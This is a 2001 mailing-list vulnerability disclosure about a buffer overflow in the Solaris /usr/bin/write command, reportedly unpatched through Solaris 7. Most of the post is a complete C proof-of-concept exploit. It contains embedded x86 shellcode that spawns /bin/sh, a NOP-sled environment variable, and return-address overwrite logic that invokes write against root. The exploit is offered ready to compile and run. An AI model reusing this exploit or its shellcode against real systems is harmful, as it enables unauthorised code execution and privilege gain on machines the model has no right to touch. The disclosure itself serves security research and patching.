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Solaris /usr/bin/write Vulnerability
From: Pablo Sor <psor () AFIP GOV AR>
Date: Wed, 17 Jan 2001 09:06:15 -0300

I have written an exploit for the /usr/bin/write command , this is not a
new
vulnerability but it has not been fixed at least till Solaris 7 patchs
(dont know about Solaris 8).
This command contains a buffer overflow in the second argument. If this
data exceeds predefined length, inserting two values into the argument
it is
possible to copy the first one into the memory position pointed by the
second
one, using this technique it is possible to execute arbitrary commands.
I have seen some messages saying that this vulnerability could not be
exploited eitherway
this command has sgid tty so I do not think it could generate serious
privileges problems.


Technical Description - Exploit/Concept Code:


#include <stdio.h>
#include <unistd.h>
/*

 /usr/bin/write overflow proof of conecpt.

 Tested on Solaris 7 x86

 Pablo Sor, Buenos Aires, Argentina. 01/2000
 psor () afip gov ar

 usage: write-exp [shell_offset] [ret_addr_offset]

 default offset should work.

*/
long get_esp() { __asm__("movl %esp,%eax"); }

char shell[] = "\xeb\x45\x9a\xff\xff\xff\xff\x07\xff"
               "\xc3\x5e\x31\xc0\x89\x46\xb7\x88\x46"
               "\xbc\x88\x46\x07\x89\x46\x0c\x31\xc0"
               "\xb0\x2f\xe8\xe0\xff\xff\xff\x52\x52"
               "\x31\xc0\xb0\xcb\xe8\xd5\xff\xff\xff"
               "\x83\xc4\x08\x31\xc0\x50\x8d\x5e\x08"
               "\x53\x8d\x1e\x89\x5e\x08\x53\xb0\x3b"
               "\xe8\xbe\xff\xff\xff\x83\xc4\x0c\xe8"
               "\xbe\xff\xff\xff\x2f\x62\x69\x6e\x2f"
               "\x73\x68\xff\xff\xff\xff\xff\xff\xff"
               "\xff\xff";

               /* shellcode by Cheez Whiz */

void main(int argc,char **argv)
{
FILE *fp;
long magic,magicret;
char buf[100],*envi;
int i;

envi = (char *) malloc(1000*sizeof(char));
memset(envi,0x90,1000);
memcpy(envi,"SOR=",4);
memcpy(envi+980-strlen(shell),shell,strlen(shell));
envi[1000]=0;
putenv(envi);

if (argc!=3)
{
 magicret = get_esp()+116;
 magic = get_esp()-1668;
}
else
{
 magicret = get_esp()+atoi(argv[1]);
 magic = get_esp()+atoi(argv[2]);
}

memset(buf,0x41,100);
buf[99]=0;
memcpy(buf+91,&magic,4);
for(i=0;i<22;++i) memcpy(buf+(i*4),&magicret,4);
execl("/usr/bin/write","write","root",buf,(char *)0);
}


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